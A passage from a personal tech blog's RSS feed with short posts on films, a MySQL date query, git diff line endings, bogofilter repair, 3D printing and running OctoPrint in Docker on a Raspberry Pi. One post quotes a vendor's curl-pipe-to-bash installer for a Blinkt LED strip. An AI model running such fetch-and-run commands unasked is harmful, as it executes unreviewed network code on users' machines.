   Doctor Strange and the Multiverse of Madness.
  </h3>
  <p>
   A number of people have
   <em>
    gone off
   </em>
   Marvel films/series and I can understand why. Marvel have been listening, this was very good. Quite different from anything we have been shown before, while at the same time including familiar characters.
  </p>
  <p>
   I would recommend watching Wanda Vision first, it really sets the scene, but technically everything is explained in the movie.
  </p>
  <h3>
   Top Gun Maverick
  </h3>
  <p>
   I don't know what I expected, but this is Top Gun part 2. Nothing bad to say about it other than I wanted to be introduced to a new sound track.
  </p>
  <p>
   Very cinematic... You decide whether that is a positive or a negative.
  </p>
  <p>
   Entertaining if you can swallow all the
   <em>
    Hollywood glitz
   </em>
   that makes story
   <em>
    highly
   </em>
   fictional.
  </p>
  <h3>
   Everything Everywhere all at once
  </h3>
  <p>
   OMG! This came out of nowhere. Really difficult to explain what this movie is and is not.
  </p>
  <p>
   Recommended!
  </p>
  <p>
   If I explain some of the plot points then it will put people off who otherwise would enjoy the ride. What a ride it is! So much goes on and it constantly subverts your expectations.
  </p>
  <p>
   If you like films that catch you unawares and take you on a constantly twisting roller coaster, while at the same time providing characters that you feel invested in, this is for you.
  </p>
  <p>
   And, of course, there are rocks with Googly eyes and hot-dog fingers :D
  </p>
  <p>
   Recommended! (yes, again!)
  </p>
</description>
</item>
<item>
<title>when is next sql sunday</title>
<pubDate>Sun, 22 May 2022 13:37:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2022.html#p220520221337</link>
<description>
  <p>
   Needed to match the date in a MySql database, but it had to be the
   <em>
    next
   </em>
   Sunday from whatever day it was being run on.
  </p>
  <p>
   this was the
   <em>
    simple
   </em>
   solution
  </p>
  <pre><code>SELECT
    date_format(now(), '%Y'),
    WEEK(NOW(), 0),
    concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'),
    STR_TO_DATE(concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'), '%X %V %W'),
    DATE_ADD(STR_TO_DATE(concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'), '%X %V %W'),INTERVAL 1 WEEK);
</code></pre>
  <p>
   Each line builds on the last
  </p>
  <pre><code>SELECT
    date_format(now(), '%Y'),
</code></pre>
  <p>
   Gets the four digit year
  </p>
  <pre><code>SELECT
    WEEK(NOW(), 0),
</code></pre>
  <p>
   Gets the week number with Sunday being the first day of recognised week.
  </p>
  <pre><code>SELECT
    concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'),
</code></pre>
  <p>
   Creates a space separated string of the four digit year, the week number  and the word
   <strong>
    Sunday
   </strong>
  </p>
  <p>
   Which leads to this
  </p>
  <pre><code>SELECT
    STR_TO_DATE(concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'), '%X %V %W'),
</code></pre>
  <p>
   Which takes the string text e.g.
  </p>
  <p>
   "2022 21 Sunday" and converts it into a
   <strong>
    Date
   </strong>
   object. This appears to the only way to convert
   <em>
    from
   </em>
   a week number.
  </p>
  <p>
   Now we have a date we can add to it, one week.
  </p>
  <p>
   And you can ignore all the above and this is the complete answer.
  </p>
  <pre><code>SELECT
    DATE_ADD(STR_TO_DATE(concat_ws(' ', date_format(now(), '%Y'), WEEK(NOW(), 0), 'Sunday'), '%X %V %W'),INTERVAL 1 WEEK);
</code></pre>
  <p>
   Because the
   <strong>
    WEEK
   </strong>
   mode is set to
   <strong>
    0
   </strong>
  </p>
  <p>
   All days of the week (including Sunday) will equate to this week's Sunday. Add one week to that and you have next Sunday (coming Sunday).
  </p>
  <p>
   Was so happy when I got it all working and tested...
  </p>
  <p>
   Then realised I needed to use it three places and couldn't do multiple statements in SQL, so I just generated the date and passed it in to the SQL.
  </p>
</description>
</item>
<item>
<title>what git git diff is when it comes to windows files on linux</title>
<pubDate>Sun, 15 May 2022 22:43:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2022.html#p150520222243</link>
<description>
  <p>
   <code>
    git diff
   </code>
   only shows
   <strong>
    CR
   </strong>
   character when the second file has CRLF, ignoring the state of the first file*
  </p>
  <p>
   I find this "strange behaviour" on the part of
   <strong>
    git diff
   </strong>
  </p>
  <p>
   create two  near-identical files in
   <code>
    /tmp
   </code>
  </p>
  <pre><code>echo -en "a\r\n" &gt; /tmp/file_a_crlf.txt
echo -en "b\r\n" &gt; /tmp/file_b_crlf.txt
</code></pre>
  <p>
   The
   <code>
    -en
   </code>
   allows the
   <strong>
    CRLF
   </strong>
   to be written to the file explicitly.
  </p>
  <p>
   but comparing them with
   <strong>
    git diff
   </strong>
  </p>
  <pre><code>git diff /tmp/file_a_crlf.txt /tmp/file_b_crlf.txt
</code></pre>
  <p>
   <img alt="git diff output show extraneous CR" src="/home/rednuht/projects/flog/images/git_diff_001.png" title="git diff CR"/>
  </p>
  <p>
   What is that
   <strong>
    ^M
   </strong>
   there after the
   <strong>
    +b
   </strong>
   ?
  </p>
  <p>
   Well it looks like a Carriage Return encoded for visibility. But both files have a CRLF pair so that should show for both versions or neither?
  </p>
  <p>
   Let us double check
  </p>
  <pre><code>git diff /tmp/file_a_crlf.txt /tmp/file_b_crlf.txt | cat -v
</code></pre>
  <p>
   <code>
    -v
   </code>
   encodes non-visible characters into visible representations.
  </p>
  <pre><code>diff --git a/tmp/file_a_crlf.txt b/tmp/file_b_crlf.txt
index 533790e..485540d 100644
--- a/tmp/file_a_crlf.txt
+++ b/tmp/file_b_crlf.txt
@@ -1 +1 @@
-a^M
+b^M
</code></pre>
  <p>
   and does indeed show both files have the same CRLF
  </p>
  <hr/>
  <p>
   and just for fun we can
  </p>
  <pre><code>echo -en "c\n" &gt; /tmp/file_c_lf.txt

git diff /tmp/file_a_crlf.txt /tmp/file_c_lf.txt
</code></pre>
  <p>
   <img alt="git diff output hiding extraneous CR" src="/home/rednuht/projects/flog/images/git_diff_002.png" title="git diff hiding CR"/>
  </p>
  <p>
   There is no CR shown there either!
  </p>
  <p>
   and once again if we pass the output through
   <code>
    cat
   </code>
  </p>
  <pre><code>git diff /tmp/file_a_crlf.txt /tmp/file_c_lf.txt | cat -v

diff --git a/tmp/file_a_crlf.txt b/tmp/file_c_lf.txt
index 533790e..f2ad6c7 100644
--- a/tmp/file_a_crlf.txt
+++ b/tmp/file_c_lf.txt
@@ -1 +1 @@
-a^M
+c
</code></pre>
  <p>
   We can see the invisible CR in the first file.
  </p>
  <p>
   Swap the files over and the opposite is true
  </p>
  <pre><code>git diff /tmp/file_c_lf.txt /tmp/file_a_crlf.txt
</code></pre>
  <p>
   <img alt="git diff output extraneous CR" src="/home/rednuht/projects/flog/images/git_diff_003.png" title="git diff extra CR"/>
  </p>
  <pre><code>git diff /tmp/file_c_lf.txt /tmp/file_a_crlf.txt | cat -v

diff --git a/tmp/file_c_lf.txt b/tmp/file_a_crlf.txt
index f2ad6c7..533790e 100644
--- a/tmp/file_c_lf.txt
+++ b/tmp/file_a_crlf.txt
@@ -1 +1 @@
-c
+a^M
</code></pre>
  <hr/>
  <p>
   (*) I assume this is a
   <em>
    Linux
   </em>
   or
   <em>
    non-windows
   </em>
   "feature".
  </p>
  <p>
   Caused me a massive headache. Seeing the
   <strong>
    CR
   </strong>
   in the changed version of files I was working on made me think I had added the
   <strong>
    CRs
   </strong>
   by accident.
  </p>
  <p>
   Instead it was simply that the files had originally been created by a Windows developer.
  </p>
</description>
</item>
<item>
<title>debogging claws spam quagmire</title>
<pubDate>Thu, 12 May 2022 21:40:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2022.html#p120520222140</link>
<description>
  <p>
   Claws mail has been bugging me about
   <strong>
    bogofilter
   </strong>
   for spam filtering. I just ignore it and assumed it was my fault.
  </p>
  <p>
   The error referred to the number of learned
   <strong>
    Spam/Ham
   </strong>
   was too low.
  </p>
  <p>
   I get a fair amount of spam and I have a number of rules that junk stuff directly. Anything left over gets marked
   <strong>
    Spam
   </strong>
   manually.
  </p>
  <p>
   <code>
    bogofilter -V
   </code>
  </p>
  <pre><code>bogofilter-sqlite version 1.2.5
Database: SQLite 3.38.1
</code></pre>
  <p>
   and
  </p>
  <p>
   <code>
    bogofilter -Q
   </code>
  </p>
  <pre><code>bogofilter[29598]: cannot compile SELECT value FROM bogofilter WHERE key=? LIMIT 1;: file is not a database_
</code></pre>
  <p>
   Oh. That will be a problem.
  </p>
  <p>
   Does the file exist?
  </p>
  <p>
   <code>
    file .bogofilter/wordlist.db
   </code>
  </p>
  <pre><code>.bogofilter/wordlist.db: Berkeley DB (Btree, version 9, native byte-order)
</code></pre>
  <p>
   It does ... Well, lets fix that :)
  </p>
  <p>
   <code>
    mv .bogofilter/wordlist.db .bogofilter/OLD_wordlist.db
   </code>
  </p>
  <p>
   <code>
    bogofilter -Q
   </code>
  </p>
  <pre><code>bogofilter[29692]: cannot compile SELECT value FROM bogofilter WHERE key=? LIMIT 1;: no such table: bogofilter_
</code></pre>
  <p>
   <code>
    ls -lh
   </code>
  </p>
  <pre><code>-rw-r--r--  1 rednuht rednuht 4.2M Jul 22  2021 OLD_wordlist.db
-rw-r--r--  1 rednuht rednuht  67M May  2 23:06 wordlist.db
</code></pre>
  <p>
   and
  </p>
  <p>
   <code>
    file .bogofilter/wordlist.db
   </code>
  </p>
  <pre><code>.bogofilter/wordlist.db: SQLite 3.x database, last written using SQLite version 3038001, file counter 27, database pages 17052, cookie 0x2, schema 4, UTF-8, version-valid-for 27
</code></pre>
  <p>
   looks a lot happier.
  </p>
  <p>
   Maybe I should have looked in the Claws debug logs
  </p>
  <p>
   <code>
    claws-mail --debug | egrep bogof
   </code>
  </p>
  <pre><code>plugin.c:453:trying to load `/usr/lib64/claws-mail/plugins/bogofilter.so'
bogofilter_gtk.c:495:Bogofilter GTK plugin loaded
bogofilter.c:918:Bogofilter plugin loaded
plugin.c:527:Plugin Bogofilter (from file /usr/lib64/claws-mail/plugins/bogofilter.so) loaded
plugin.c:528:TIMING plugin_load /usr/lib64/claws-mail/plugins/bogofilter.so: 0s000ms
** Message: : Connecting ...

bogofilter.c:825:|bogofilter -s -b ...
bogofilter[29165]: Error preparing "SELECT name FROM sqlite_master WHERE type='table' AND name='bogofilter';": file is not a database (#26)_
bogofilter[29165]: Error on database /home/user/.bogofilter/wordlist.db: file is not a database_
Can't open file 'wordlist.db' in directory '/home/user/.bogofilter'.
error #2 - No such file or directory.

Remember to register some spam and ham messages before you
use bogofilter to evaluate mail for its probable spam status!

** (claws-mail:29077): WARNING **: 22:51:24.987: [2022-05-02 22:51:24] Learning failed; `bogofilter -s -b` returned with error:
Unknown error
</code></pre>
  <p>
   and after it was fixed
  </p>
  <p>
   <code>
    claws-mail --debug | egrep bogof
   </code>
  </p>
  <pre><code>** Message: 22:56:42.316: filtering log disabled

plugin.c:453:trying to load `/usr/lib64/claws-mail/plugins/bogofilter.so'
bogofilter_gtk.c:495:Bogofilter GTK plugin loaded
bogofilter.c:918:Bogofilter plugin loaded
plugin.c:527:Plugin Bogofilter (from file /usr/lib64/claws-mail/plugins/bogofilter.so) loaded
plugin.c:528:TIMING plugin_load /usr/lib64/claws-mail/plugins/bogofilter.so: 0s002ms
** Message: : Connecting ...

bogofilter.c:825:|bogofilter -n -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
bogofilter.c:825:|bogofilter -s -b ...
plugin.c:289:removing /usr/lib64/claws-mail/plugins/bogofilter.so rdeps
bogofilter.c:420:thread done
bogofilter.c:973:Bogofilter plugin unloaded
</code></pre>
  <p>
   there was a
  </p>
  <p>
   <code>
    bogofilter -n -b
   </code>
  </p>
  <p>
   or
  </p>
  <p>
   <code>
    bogofilter -s -b
   </code>
  </p>
  <p>
   for each message that was either marked Spam or Ham manually in the UI.
  </p>
</description>
</item>
<item>
<title>guide popping pills</title>
<pubDate>Mon, 02 May 2022 12:16:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2022.html#p020520221216</link>
<description>
  <p>
   and now for something completely different.
  </p>
  <p>
   <img alt="pill popping guide" src="/home/rednuht/projects/flog/images/pill popping.png" title="pill popping guide"/>
  </p>
  <p>
   This is my guide to popping pills.
  </p>
  <p>
   A surprisingly small number of people seem to realise that tipping your head back works for
   <em>
    tablets
   </em>
   , but the same technique is terrible for
   <em>
    capsules
   </em>
   .
  </p>
  <p>
   The
   <em>
    tablets
   </em>
   sink in the liquid in the mouth and have to be shunted to the back to be swallowed.
  </p>
  <p>
   <em>
    Capsules
   </em>
   on the other hand float and can be easily swallowed with the head tipped forward.
  </p>
  <p>
   As with all medical advise from the internet:
   <strong>
    This is not medical advice, please use with caution and consult a trained medical professional if you have any concerns.
   </strong>
  </p>
  <p>
   That said,
   <em>
    it works for me
   </em>
   and I wish I had known it sooner!
  </p>
  <p>
   Thanks to
   <em>
    Alex
   </em>
   for the insight.
  </p>
  <p>
   It was also a good excuse to muck around with Inkscape again :D
  </p>
</description>
</item>
<item>
<title>two more shark enclosures awaiting clouds waves and sharks</title>
<pubDate>Sat, 30 Apr 2022 22:53:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p300420222253</link>
<description>
  <p>
   Another toothy update
  </p>
  <p>
   I updated the
   <a href="https://github.com/robgithub/AnagramSharkAttackJS-E.git/">
    Anagram Shark Attack code
   </a>
   .
  </p>
  <p>
   I added yet another two test regions. These ensure any changes continue to work regardless of screen resolution/orientation.
  </p>
  <p>
   It is important now, as I am trying to add in the animated clouds and waves.
  </p>
  <p>
   There is actually some clouds behind the boxes in this image.
   <img alt="Screenshot of html Anagram Shark Attack JS-e" src="/home/rednuht/projects/flog/images/ASA_JSe_2022-04.png" title="Screenshot of html Anagram Shark Attack JS-e"/>
  </p>
  <p>
   The animations are sped up and it is much more enjoyable to play.
  </p>
  <p>
   See progress
   <a href="https://robgithub.github.io/AnagramSharkAttackJS-E/game.html">
    game link
   </a>
  </p>
</description>
</item>
<item>
<title>fighting for ssh push for the shark project</title>
<pubDate>Mon, 18 Apr 2022 23:20:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p180420222320</link>
<description>
  <p>
   Just a quick one.
  </p>
  <p>
   I updated the
   <a href="https://github.com/robgithub/AnagramSharkAttackJS-E.git/">
    Anagram Shark Attack code
   </a>
   . Still a long way to go.
  </p>
  <p>
   When I came to push it to GitHub, I hit a problem.
  </p>
  <pre><code>fatal: Authentication failed for 'https://github.com/robgithub/AnagramSharkAttackJS-E.git/'
</code></pre>
  <p>
   and
  </p>
  <pre><code>git remote -v
origin  https://github.com/robgithub/AnagramSharkAttackJS-E.git (fetch)
origin  https://github.com/robgithub/AnagramSharkAttackJS-E.git (push)
</code></pre>
  <p>
   shows that I am still on the old non-ssh repo format. Which is no longer supported :(
  </p>
  <p>
   a quick
  </p>
  <pre><code>git remote set-url origin git@github.com:robgithub/AnagramSharkAttackJS-E.git
</code></pre>
  <p>
   gives me
  </p>
  <pre><code>git remote -v
origin  git@github.com:robgithub/AnagramSharkAttackJS-E.git (fetch)
origin  git@github.com:robgithub/AnagramSharkAttackJS-E.git (push)
</code></pre>
  <p>
   and then
  </p>
  <pre><code>git push
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 6 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 1.71 KiB | 585.00 KiB/s, done.
Total 4 (delta 3), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (3/3), completed with 3 local objects.
To github.com:robgithub/AnagramSharkAttackJS-E.git
   3262ed4..82c5555  master -&gt; master
</code></pre>
  <p>
   I got the tiles to stop trying to animate the wrong way in certain edge cases. This is the first step in reinvigorating the project and hopefully seeing it completed!
  </p>
</description>
</item>
<item>
<title>where are the images</title>
<pubDate>Sun, 17 Apr 2022 14:05:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p170420221405</link>
<description>
  <p>
   Oops!
  </p>
  <p>
   Helps if I upload the images that go with the blog post.
  </p>
  <p>
   Still... there is now an opportunity to create an auto detect and upload function :D
  </p>
</description>
</item>
<item>
<title>3d printing a motorcycling monk</title>
<pubDate>Thu, 14 Apr 2022 23:03:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p140420222303</link>
<description>
  <p>
   This was another
   <a href="Feb2022.html">
    February
   </a>
   thing. Last one, promise :S
  </p>
  <p>
   The other
   <a href="Feb2022.html#p020220222001">
    D&amp;D
   </a>
   players all had there own fancy character figures. Some exquisitely painted.
  </p>
  <p>
   I decided that I would have a go at 3D printing my own character...
  </p>
  <p>
   My character is a
   <strong>
    Monk
   </strong>
   .
  </p>
  <h2>
   Blender-ing
  </h2>
  <p>
   I created a curve that I could extrude from the bottom and then used the sculpt tools to create arms and more details.
  </p>
  <p>
   <img alt="screen shot of blender monk stage 1" src="/home/rednuht/projects/flog/images/3d-print-monk_sculpt_006.png" title="blender monk stage 1"/>
  </p>
  <p>
   Then I crafted a hand, duplicated it with mirror and extruded a staff.
  </p>
  <p>
   <img alt="screen shot of blender monk stage 2" src="/home/rednuht/projects/flog/images/3d-print-monk_sculpt_008.png" title="blender monk stage 2"/>
  </p>
  <p>
   I didn't have time to sculpt a realistic human (half-elf) head. So he ended up with a motor bike helmet.
  </p>
  <p>
   <img alt="screenshot of blender monk stage 3" src="/home/rednuht/projects/flog/images/3d-print-monk_sculpt_009.png" title="blender monk stage 3"/>
  </p>
  <p>
   Used the
   <a href="Feb2022.html#p010220222219">
    3D print toolkit
   </a>
   to help iron out some odd bits
  </p>
  <p>
   <img alt="screenshot of blender monk stage 4" src="/home/rednuht/projects/flog/images/3d-print-monk_sculpt_009-c.png" title="blender monk stage 4"/>
  </p>
  <h2>
   3D Printed
  </h2>
  <p>
   <img alt="3D printed monk x4" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x4r.jpg" title="3D printed monk x4"/>
  </p>
  <p>
   <img alt="3D printed monk x4" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x4.jpg" title="3D printed monk x4"/>
  </p>
  <p>
   <img alt="3D printed monk x3" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x3.jpg" title="3D printed monk x3"/>
  </p>
  <p>
   <img alt="3D printed monk x2" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x2.jpg" title="3D printed monk x2"/>
  </p>
  <p>
   <img alt="3D printed monk" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x1-large.jpg" title="3D printed monk"/>
  </p>
  <p>
   First I printed it too large, then too small, then with supports and still too small.
  </p>
  <p>
   Finally the Goldilocks zone was reached!
  </p>
</description>
</item>
<item>
<title>a beehive of 3d printed coin holders</title>
<pubDate>Thu, 14 Apr 2022 22:22:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p140420222222</link>
<description>
  <p>
   This was another
   <a href="Feb2022.html">
    February
   </a>
   thing. Yes, there are a few.
  </p>
  <p>
   Now I had the
   <a href="Apr2022.html#p100420221434">
    power of remote 3D printing
   </a>
   I had some work to do.
  </p>
  <p>
   Covid had left me with a load of unwanted coinage.
  </p>
  <p>
   <img alt="photo of 3d printed coin holders" src="/home/rednuht/projects/flog/images/3d-printed-coin-holdersx8.jpg" title="3d printed coin holders"/>
  </p>
  <p>
   There are only two sizes
  </p>
  <p>
   <img alt="photo of 3d printed coin holders sizes" src="/home/rednuht/projects/flog/images/3d-printed-coin-holdersx2.jpg" title="3d printed coin holders sizes"/>
  </p>
  <p>
   I also added a
   <em>
    nub
   </em>
   underneath the coins to ensure I could get them out again :D
  </p>
  <p>
   I liked the hexagon design to allow them to be positioned in any layout.
  </p>
  <p>
   Here is the printer with the Blinkt  illuminating the 3D coin holder being printed.
  </p>
  <p>
   <img alt="photo of 3d printed coin holder being printed lit by blinkt" src="/home/rednuht/projects/flog/images/3d-print-loft-space.jpg" title="3d printed coin holder being printed lit by blinkt"/>
  </p>
  <p>
   and yes I could have printed more than one at a time :S
  </p>
</description>
</item>
<item>
<title>blinking at the octoprint</title>
<pubDate>Thu, 14 Apr 2022 21:38:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p140420222138</link>
<description>
  <p>
   This was another
   <a href="Feb2022.html">
    February
   </a>
   thing
  </p>
  <p>
   Now, before I get
   <a href="Apr2022.html#p100420221434">
    OctoPrint
   </a>
   working I want to get a
   <a href="https://shop.pimoroni.com/products/blinkt">
    Blinkt
   </a>
   working!
  </p>
  <p>
   "A what?" I hear you say. It is a simple
   <strong>
    RGB
   </strong>
   led strip that can fit easily on the
   <strong>
    GPIO
   </strong>
   pins of most Raspberry Pis.
  </p>
  <p>
   <a href="https://shop.pimoroni.com/products/blinkt">
    Blinkt product page
   </a>
  </p>
  <p>
   I can use it to illuminate the print process. Ideally I would get a longer Pi Camera cable and connect the camera directly to the 3D print head. You know, like normal people :D
  </p>
  <p>
   I tried to install everything in Raspbian.
  </p>
  <pre><code>sudo apt-get install python3 python-blinkt
</code></pre>
  <p>
   But that failed due to missing dependencies.
  </p>
  <p>
   The
   <a href="https://github.com/pimoroni/blinkt">
    Github repo
   </a>
   suggests you just run the following.
  </p>
  <pre><code>curl https://get.pimoroni.com/blinkt | bash
</code></pre>
  <p>
   so just run a random script from the internet :(
  </p>
  <p>
   It tries to install everything needed and will ask you a couple of questions regarding what you want to install.
  </p>
  <pre><code>cd ~/Pimoroni/blinkt/examples
python rainbow.py
</code></pre>
  <p>
   Shows it works
  </p>
  <p>
   Now I can ssh into the Pi and turn On/Off the lighting :D
  </p>
</description>
</item>
<item>
<title>offline highlighting to decrease your javascript dependancies part 2</title>
<pubDate>Thu, 14 Apr 2022 20:55:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p140420222055</link>
<description>
  <p>
   Just a quick post to test that my code highlighter is working.
  </p>
  <p>
   As much as I liked the in page JavaScript doing all the work... well, you know.
  </p>
  <p>
   So I wrote a tiny Node JS app that just reads in a file, runs it past the same
   <a href="https://highlightjs.org/">
    highlighter library
   </a>
   and spits out the results.
  </p>
  <p>
   I did learn about multi-line Javascript regular expressions :D
  </p>
  <pre><code>var destination = hljs.highlightAuto(target).value;
var pattern = new RegExp(match[0], 's');
result = source.replace(pattern, '&lt;code class="nohighlight"&gt;' + destination + '&lt;/code&gt;')
</code></pre>
  <p>
   Lets see how it gets on with this tricky code block
  </p>
</description>
</item>
<item>
<title>offline highlighting to decrease your javascript dependancies</title>
<pubDate>Thu, 14 Apr 2022 20:53:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p140420222053</link>
<description>
</description>
</item>
<item>
<title>Docking a 3D printer with OctoPrint</title>
<pubDate>Sun, 10 Apr 2022 14:34:02 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2022.html#p100420221434</link>
<description>
  <p>
   This was a
   <a href="Feb2022.html">
    February
   </a>
   thing
  </p>
  <h2>
   Docking a 3D printer with OctoPrint
  </h2>
  <p>
   I have the
   <strong>
    Creality Ender 3V2 3D printer
   </strong>
   , but I have a small problem. A small
   <strong>
    8ft
   </strong>
   ladder access problem :(
  </p>
  <p>
   The ladder leads to a 5ft square (well ventilated) area with the printer in the middle. I was taking a USB key from my
   <strong>
    Gentoo
   </strong>
   machine and then climbing up the ladder, setting up the printer and then continuously going back up and down to check on the print process.
   <strong>
    REMEMBER
   </strong>
   printers can catch on
   <strong>
    FIRE
   </strong>
   .
  </p>
  <p>
   The solution is obviously
   <a href="https://octoprint.org/">
    OctoPrint
   </a>
   . Remote access to 3D printers with real-time camera view, stats and time-lapse videos.
  </p>
  <p>
   But would it work on MY 3D printer?
   <strong>
    TLDR
   </strong>
   ;
   <em>
    yes
   </em>
  </p>
  <h2>
   Skipping the OctoPi for direct Docker
  </h2>
  <p>
   Now I had heard that to host
   <a href="https://octoprint.org/">
    OctoPrint
   </a>
   on the
   <strong>
    Raspberry Pi
   </strong>
   there is a special version called
   <a href="https://github.com/guysoft/OctoPi">
    Octo-pi
   </a>
  </p>
  <p>
   At the same time I wanted to play with
   <a href="https://www.docker.com/">
    Docker
   </a>
  </p>
  <p>
   <a href="https://www.docker.com/">
    Docker
   </a>
   runs things as containers that have no access to anything that you do not explicitly give them access too. i.e. Sand-boxed.
  </p>
  <p>
   note this container is
   <a href="https://octoprint.org/">
    OctoPrint
   </a>
   not
   <a href="https://github.com/guysoft/OctoPi">
    Octo-pi
   </a>
   - (
   <a href="https://github.com/guysoft/OctoPi">
    Octo-pi
   </a>
   <em>
    now
   </em>
   has a
   <a href="https://github.com/guysoft/CustomPiOS/wiki/Building-with-Docker">
    Docker image info page
   </a>
   )
  </p>
  <h2>
   Pi Prep
  </h2>
  <p>
   I got the
   <strong>
    Pi (Pi Zero W)
   </strong>
   working first and made sure the camera was enabled (
   <strong>
    Raspberry Pi OS
   </strong>
   currently uses
   <strong>
    Buster
   </strong>
   so you have to manually
   <a href="https://www.raspberrypi.com/documentation/accessories/camera.html">
    enable the camera interface in legacy mode
   </a>
   )
  </p>
  <p>
   Usual download: Lite image from
   <a href="https://www.raspberrypi.com/software/operating-systems/">
    raspberrypi.com
   </a>
  </p>
  <ul>
   <li>
    <code>
     dd
    </code>
    image to SD card
   </li>
   <li>
    setup ssh and Wifi
   </li>
   <li>
    <ul>
     <li>
      (Wifi
      <strong>
       <code>
        wpa_supplicant.conf
       </code>
      </strong>
      must have
      <strong>
       country code
      </strong>
      set now)
     </li>
    </ul>
   </li>
   <li>
    ssh'd in and enabled the camera with
    <strong>
     raspi-config
    </strong>
   </li>
   <li>
    <p>
     did a sanity check with
     <code>
      raspistill
     </code>
     to make sure the camera worked
    </p>
    <p>
     raspistill -o /tmp/image.jpg
    </p>
   </li>
  </ul>
  <p>
   All good!
  </p>
  <h2>
   Docker up OctoPrint
  </h2>
  <p>
   Then to install docker I went against all the guides that downloaded it from the
   <strong>
    Docker
   </strong>
   website and instead used the repositories (means I might have got an older version, but I wanted to live dangerously).
  </p>
  <pre><code>sudo usermod --append --groups docker $USER
sudo apt install docker-compose
</code></pre>
  <p>
   (
   <strong>
    <em>
     docker-compose
    </em>
   </strong>
   is not
   <strong>
    Docker
   </strong>
   , but does include the
   <strong>
    docker
   </strong>
   command. It is confusing, but will make sense later)
  </p>
  <p>
   Test that Docker is installed and ready to go
  </p>
  <pre><code>docker --version
Docker version 20.10.5+dfsg1, build 55c4c88

sudo docker run --rm hello-world
</code></pre>
  <p>
   Now I can get the latest octoprint
   <strong>
    docker-compose
   </strong>
   file (remember
   <strong>
    OctoPi
   </strong>
   <em>
    now
   </em>
   has
   <strong>
    Docker
   </strong>
   instructions)
  </p>
  <pre><code>wget https://github.com/OctoPrint/octoprint-docker/raw/master/docker-compose.yml
</code></pre>
  <p>
   Oh, I need to  know what interface the Pi is using to the printer.
  </p>
  <pre><code>sudo apt-get install python3-pip
python -m serial.tools.miniterm
</code></pre>
  <p>
   lists
  </p>
  <pre><code>/dev/ttyAMA0 
/dev/ttyUSB0
</code></pre>
  <p>
   and updated to the
   <code>
    docker-compose.yml
   </code>
   file (lots of trial and error to get it just right)
  </p>
  <h3>
   docker-compose.yml tweaks
  </h3>
  <p>
   Ports need to be changed from
  </p>
  <pre><code>80:80
</code></pre>
  <p>
   to
  </p>
  <pre><code>5000:5000
8080:8080
</code></pre>
  <p>
   Where
   <strong>
    5000
   </strong>
   is a non-privileged port. Means I can use a web browser on another machine in the network.
   <strong>
    8080
   </strong>
   is so I can see the
   <strong>
    raw camera stream
   </strong>
   without needing
   <strong>
    OctoPrint
   </strong>
   . Ideal when I can take my phone up the ladder and muck about with the Pi camera alignment.
  </p>
  <p>
   Enabled devices and added the USB port from earlier
  </p>
  <pre><code>devices:
- /dev/ttyUSB0:/dev/ttyUSB0
- /dev/video0:/dev/video0
</code></pre>
  <p>
   Enabled the environment variable for streaming from the camera
  </p>
  <pre><code>environment:
- ENABLE_MJPG_STREAMER=true
</code></pre>
  <p>
   and just because it was there and I was interested, I enabled the extra
   <strong>
    config-editor
   </strong>
   docker container.
  </p>
  <p>
   This allows you to use a web browser to edit config files. didn't need it, but was interesting to see working.
  </p>
  <h2>
   Make it start on Boot
  </h2>
  <p>
   Now I need to make sure everything works on on
   <strong>
    Power On
   </strong>
   . The power socket is at the
   <em>
    bottom
   </em>
   of the ladder ;)
  </p>
  <pre><code>sudo systemctl enable docker
sudo systemctl enable docker.service
sudo systemctl enable containerd.service
</code></pre>
  <p>
   Reboot and wait an age, but it is working!
  </p>
  <p>
   Then configure my
   <strong>
    Creality Ender 3V2 3D printer
   </strong>
   in the
   <strong>
    Octoprint
   </strong>
   GUI from a remote machine on port
   <strong>
    5000
   </strong>
   :)
  </p>
  <p>
   <a href="https://howchoo.com/octoprint/ender-3-v2-octoprint">
    https://howchoo.com/octoprint/ender-3-v2-octoprint
   </a>
  </p>
  <h2>
   Some quick Docker trouble shooting steps
  </h2>
  <pre><code>docker-compose ps
</code></pre>
  <p>
   shows running containers
  </p>
  <pre><code>sudo ls -Ral /var/lib/docker/containers/
</code></pre>
  <p>
   will find all the files including logs for the containers. They have very long identifiers.
  </p>
  <h1>
   Additional References
  </h1>
  <h3>
   OctoPrint Docker Hub
  </h3>
  <p>
   <a href="https://hub.docker.com/r/octoprint/octoprint">
    https://hub.docker.com/r/octoprint/octoprint
   </a>
  </p>
  <h3>
   Official configuration docs
  </h3>
  <p>
